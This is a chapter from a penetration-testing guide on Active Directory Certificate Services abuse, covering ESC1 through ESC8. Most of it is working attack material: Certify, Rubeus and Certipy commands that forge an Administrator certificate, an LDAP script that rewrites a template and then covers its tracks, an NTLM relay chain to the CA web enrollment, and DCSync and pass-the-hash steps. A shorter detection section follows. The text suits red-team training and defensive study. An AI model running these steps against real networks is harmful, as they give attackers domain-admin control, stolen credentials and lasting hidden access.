Chapter 107

ADCS Abuse — ESC1 through ESC8

Exploiting Active Directory Certificate Services misconfigurations: Subject Alternative Name injection, template ACL abuse, enrollment agent delegation, and NTLM relay to CA enrollment for persistent domain access via certificates

Scenario

The organization uses Active Directory Certificate Services (ADCS) for internal PKI — issuing certificates for code signing, VPN auth, and smart card login. ADCS is configured with the default templates that Microsoft ships, plus several custom templates added over the years. One custom template (used by a web app team four years ago) allows low-privilege users to specify a Subject Alternative Name (SAN) and has the "Client Authentication" EKU. You enroll in this template, specify "Administrator" as the SAN, and receive a certificate that proves you are Administrator. You use PKINIT to get a Domain Admin TGT. This is ESC1, and it's in thousands of enterprise environments right now.

ADCS Architecture — PKI in Active Directory

ADCS Components: Certification Authority (CA): - Standalone CA: not integrated with AD (can't issue domain certs automatically) - Enterprise CA: integrated with AD, can issue certs to AD accounts via templates - Root CA: the trust anchor; often offline - Subordinate/Issuing CA: the online CA that actually issues certificates Certificate Templates (stored in AD as PKI objects): CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=... - Define what can be requested, by whom, with what EKUs - Permissions: who can Enroll, who can Autoenroll, who can Write - Key settings: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (SAN injection enabled) Certificate request flow: Requestor → CA (via RPC or HTTP enrollment) → CA issues cert → Requestor uses cert How Kerberos uses certificates (PKINIT): Cert with Client Authentication EKU + matching UPN or SAN → KDC can issue a TGT for the identity in the certificate → Certificate = credential (if you have the cert, you ARE that identity) → Certificates survive password changes (this is the persistent access mechanism)

ESC1 — Subject Alternative Name Injection

A template is vulnerable to ESC1 when: (1) CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set, (2) the template has a Client Authentication EKU (or Smart Card Logon, PKINIT Client Auth), and (3) low-privilege users have Enroll or AutoEnroll rights. The requestor can specify any SAN, including any username, and the CA issues a certificate for that identity.

Template vulnerability flags: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x1 Set in msPKI-Certificate-Name-Flag attribute → Requestor provides the SubjectAltName in the CSR → CA uses it WITHOUT verifying identity match Required EKUs for exploitation: - 1.3.6.1.5.5.7.3.2 (Client Authentication) - 1.3.6.1.4.1.311.20.2.2 (Smart Card Logon) - 2.5.29.37.0 (Any Purpose) - (no EKU = Any Purpose by default) Enrollment rights: - Domain Users / Authenticated Users have Enroll = anyone can request ESC1 exploit requirements: ✓ CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set ✓ Client Authentication EKU (or AnyPurpose/SmartCardLogon) ✓ Domain Users or Authenticated Users have Enroll permission ✓ CA enrollment is not approval-required (CA manager approval not set)
# ESC1 exploitation with Certify + Rubeus

# Step 1: Find vulnerable templates
Certify.exe find /vulnerable

# Output identifies templates like:
#   Template: VulnUserTemplate
#   msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
#   msPKI-Enrollment-Flag: INCLUDE_SYMMETRIC_ALGORITHMS
#   pKIExtendedKeyUsage: Client Authentication
#   Enrollment Permissions:
#     Enrollment Rights: Domain Users

# Step 2: Request certificate with SAN = target account
Certify.exe request /ca:CA01.corp.local\corp-CA \
    /template:VulnUserTemplate \
    /altname:Administrator

# Output: certificate.pem (cert + private key in PEM format)

# Step 3: Convert PEM to PFX
openssl pkcs12 -in certificate.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
    -export -out administrator.pfx -password pass:''

# Step 4: Use certificate to get TGT via PKINIT
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /password:'' \
    /domain:corp.local /dc:dc01.corp.local /nowrap

# Output: TGT as base64 .kirbi
# Inject: Rubeus ptt /ticket:<base64_ticket>

# Step 5: Extract NT hash (optional — allows PtH without certificate)
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /password:'' \
    /getcredentials /domain:corp.local

ESC2 — Any Purpose or No EKU Templates

A template with the "Any Purpose" EKU (2.5.29.37.0) or no EKU at all allows the certificate to be used for any authentication purpose. This is subtly different from ESC1 — the SAN may not be attacker-controlled, but the overly broad EKU means a certificate for any identity can be used for client authentication via PKINIT, even if the template was intended only for a non-auth purpose like document signing:

# ESC2: Template has Any Purpose EKU and Enroll rights for Domain Users
Certify.exe find /vulnerable
# Look for: pKIExtendedKeyUsage contains "Any Purpose" or is empty

# If the template also allows SAN → same as ESC1 + Any Purpose
# If no SAN control but template is for ALL users → certificate proves "this domain user"
# The SAN in the issued cert = the requesting user's UPN
# Only useful to get TGTs for accounts you can already authenticate as
# → Lower impact than ESC1, but still misuse of intended purpose

ESC3 — Enrollment Agent Certificate Abuse

An Enrollment Agent certificate allows its holder to request certificates on behalf of other users. If Domain Users can enroll in an "Enrollment Agent" template, then enroll on behalf of any other user in a second "User Enrollment" template:

# ESC3 — two-step enrollment agent abuse

# Step 1: Enroll in the enrollment agent template
# The template has EKU: Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
Certify.exe request /ca:CA01\corp-CA /template:EnrollmentAgentTemplate

# Step 2: Use enrollment agent certificate to request cert on behalf of Administrator
Certify.exe request /ca:CA01\corp-CA \
    /template:User \
    /onbehalfof:corp\Administrator \
    /enrollcert:enrollment_agent.pfx \
    /enrollcertpw:''

# Now you have a certificate for Administrator
# Use PKINIT to get DA TGT (same as ESC1 final steps)

ESC4 — Template ACL Misconfiguration (Write Access)

If a low-privilege user has Write, GenericWrite, or WriteProperty on a certificate template's ACL, they can modify the template to become vulnerable (add Client Auth EKU, enable SAN, grant themselves Enroll). ESC4 turns an innocuous template into ESC1:

#!/usr/bin/env python3
# Modify a certificate template via LDAP to enable ESC1 conditions
import ldap3

# Connect (as compromised user with WriteProperty on the template)
server = ldap3.Server('dc01.corp.local', port=636, use_ssl=True)
conn = ldap3.Connection(server, user='corp\\compromised_user', password='Password!')
conn.bind()

template_dn = 'CN=CorpUser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local'

# Modify msPKI-Certificate-Name-Flag to enable ENROLLEE_SUPPLIES_SUBJECT (0x1)
conn.modify(template_dn, {
    'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [1])]
})
print(f'Template modification: {conn.result}')

# Grant Domain Users Enroll rights on the template (write the DACL)
# (requires WriteOwner or WriteDACL on the template object)
# Use SharpADWS / dsacls / PowerShell Set-Acl for the DACL modification

# After modification: exploit as ESC1
# Certify.exe request /ca:... /template:CorpUser /altname:Administrator

# CLEANUP: restore original flag after exploitation to hide the modification
conn.modify(template_dn, {
    'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [0])]
})

ESC8 — NTLM Relay to HTTP CA Enrollment

ADCS web enrollment (http://ca/certsrv/) accepts NTLM authentication and does not require channel binding by default. Combined with a forced authentication trigger (PetitPotam, PrinterBug, etc.), you can relay a DC's NTLM authentication to ADCS and get a certificate for the DC — then use PKINIT to get the DC's TGT and DCSync:

ESC8 attack chain: 1. Start NTLM relay listener targeting ADCS web enrollment ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp \ --adcs --template DomainController 2. Trigger DC to authenticate to attacker via coercion: PetitPotam.py attacker_ip DC01_ip (EFS coercion — uses RPC to force NTLM) Or: PrinterBug (SpoolSS), DFSCoerce, ShadowCoerce, etc. 3. DC connects to attacker → attacker relays to ADCS web enrollment → CA issues a certificate for DC01$ (the DC computer account) 4. Use DC's certificate to get a TGT for DC01$ via PKINIT: PKINITtools/gettgtpkinit.py corp.local/DC01$ -pfx-file dc01.pfx dc01.ccache 5. Get DC's NT hash via U2U (User-to-User Kerberos): PKINITtools/getnthash.py corp.local/DC01$ -key session_key 6. Perform DCSync using DC01$'s NT hash: secretsdump.py -hashes :DC01_NTHASH 'corp.local/DC01$'@dc01.corp.local Full domain compromise in ~5 minutes from any network position.

Enumeration — Finding Vulnerable Templates

# Certify — .NET tool for ADCS enumeration (from Will Schroeder)
Certify.exe find                          # enumerate all templates
Certify.exe find /vulnerable              # only vulnerable templates
Certify.exe find /ca                      # enumerate CAs in the environment
Certify.exe find /clientauth              # templates with Client Auth EKU

# Certipy (Python, works from Linux)
certipy find -u user@corp.local -p Password! -dc-ip 10.10.10.1
certipy find -u user@corp.local -p Password! -dc-ip 10.10.10.1 -vulnerable -stdout

# LDAP manual check for ESC1 templates:
# Filter: msPKI-Certificate-Name-Flag & 0x1 = 1 (ENROLLEE_SUPPLIES_SUBJECT)
ldapsearch -H ldaps://dc01.corp.local -D user@corp.local -w Password! \
    -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
    "(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)" \
    sAMAccountName msPKI-Certificate-Name-Flag pKIExtendedKeyUsage

# Key template attributes to check:
# msPKI-Certificate-Name-Flag: 0x1 = ENROLLEE_SUPPLIES_SUBJECT (ESC1)
# msPKI-RA-Signature: 0 = no enrollment agent required (ESC3 if EKU is RA)
# pkiExtendedKeyUsage: list of EKU OIDs
# nTSecurityDescriptor: who has Enroll, AutoEnroll, WriteProperty

PKINIT — Using Certificates to Get TGTs

# Certipy — ESC1 in one command
certipy req -u user@corp.local -p Password! \
    -ca corp-CA -template VulnTemplate \
    -upn Administrator@corp.local \
    -dc-ip 10.10.10.1

# Output: administrator.pfx

# Get TGT from certificate (PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

# Output:
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

# Use ccache ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass dc01.corp.local

# Or use the NT hash directly with Pass-the-Hash
wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 Administrator@dc01.corp.local

Certificate-Based Persistence

Persistence TypeMechanismDurationPassword Reset Survives?
User certificate (ESC1)Certificate for DA account, valid 1-2 years per templateUntil certificate expires or is revokedYes — certificate is independent of password
Machine certificateCertificate for a computer account1-2 years typicallyN/A (machine accounts don't have human passwords)
Own CA certificateIf you compromise the CA itself — sign your own certsIndefinite (until CA root is untrusted)Yes — completely independent
Golden Cert (forged via CA key)Export CA private key, sign arbitrary certs offlineUntil CA is rotated (almost never)Yes — completely independent
Revoking Certificates Is Not Enough Without CRL Enforcement

If defenders revoke an attacker's certificate, the revocation only works if the KDC checks the Certificate Revocation List (CRL) or OCSP for PKINIT. Many environments do not strictly enforce CRL checking for Kerberos. If CRL checking is disabled or the CRL is unavailable, a revoked certificate continues to authenticate successfully. When responding to an ADCS compromise, ensure CRL checking is enforced AND the CRL is published and accessible, or the revocation action is ineffective.

Detection

SignalSourceNotes
Certificate issued with SAN not matching the requesting account (Event 4886/4887)CA Security Log4886 = cert requested, 4887 = cert issued — check if SubjectAltName ≠ requester's UPN
Low-privilege account requesting certificate against privileged templatesCA Security Log (4886)Certify / certipy are identifiable by request patterns
msPKI-Certificate-Name-Flag modification on a template object (5136)AD audit (5136)ESC4 — template modification; very low volume of legitimate changes to this attribute
PKINIT TGT request (Kerberos AS-REQ with PA-PK-AS-REQ preauthentication)DC Security Log (4768)Certificate authentication shows as logon type "Certificate" — unusual for accounts that normally use password
NTLM relay to certsrv/certfnsh.aspADCS IIS logsESC8 — NT AUTHORITY\ANONYMOUS or unexpected source IP authenticating to web enrollment

Q&A

How does the CA "verify" that ESC1 SAN requests are legitimate? Why doesn't it check?

In a standard Enterprise CA configuration, when CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set on a template, the CA is explicitly designed to trust the requestor to provide the correct identity. The template flag is essentially a configuration statement that says "this template allows requestors to specify their own identity." The CA does not independently verify that the SAN in the certificate request matches the authenticated identity making the request. The authentication step (proving who you are with your current credentials) and the certificate content step (claiming who you want the certificate to assert) are decoupled — by design — when this flag is set. This flag exists for legitimate use cases: multi-SAN certificates for load balancers, web servers needing certificates for multiple hostnames, or enrollment on behalf of other users by administrators. Microsoft has since flagged this as a high-risk configuration and the Active Directory Certificate Services health check tools warn about it. The root cause is that organizations enabled this flag for a legitimate one-time use case and never restricted it back to a narrow set of authorized requestors.

What is a "Golden Certificate" and how does it differ from a Golden Ticket?

A Golden Ticket requires the krbtgt hash to forge. A Golden Certificate requires the CA's private key. If an attacker compromises the Certificate Authority — gaining access to the CA server's file system or HSM — they can export the CA's private key (from the Windows Certificate Store or from a non-HSM-backed CA). With this key, they can sign any certificate offline, for any identity, with any validity period, with any EKUs. This certificate is accepted by all systems that trust the CA, forever, until the CA itself is decommissioned and its root certificate is removed from all trust stores. Revoking a Golden Certificate doesn't work unless you also revoke the CA certificate itself — which is a massive enterprise-wide disruption. Recovering from a CA key compromise requires issuing a new CA, distributing the new root to all machines, and revoking the old CA's certificate. This typically takes days to weeks in large enterprises and is often considered more severe than a krbtgt compromise. Mimikatz's crypto::capi and crypto::cng modules can export non-exportable CA keys from the Windows certificate store when running as SYSTEM on the CA server.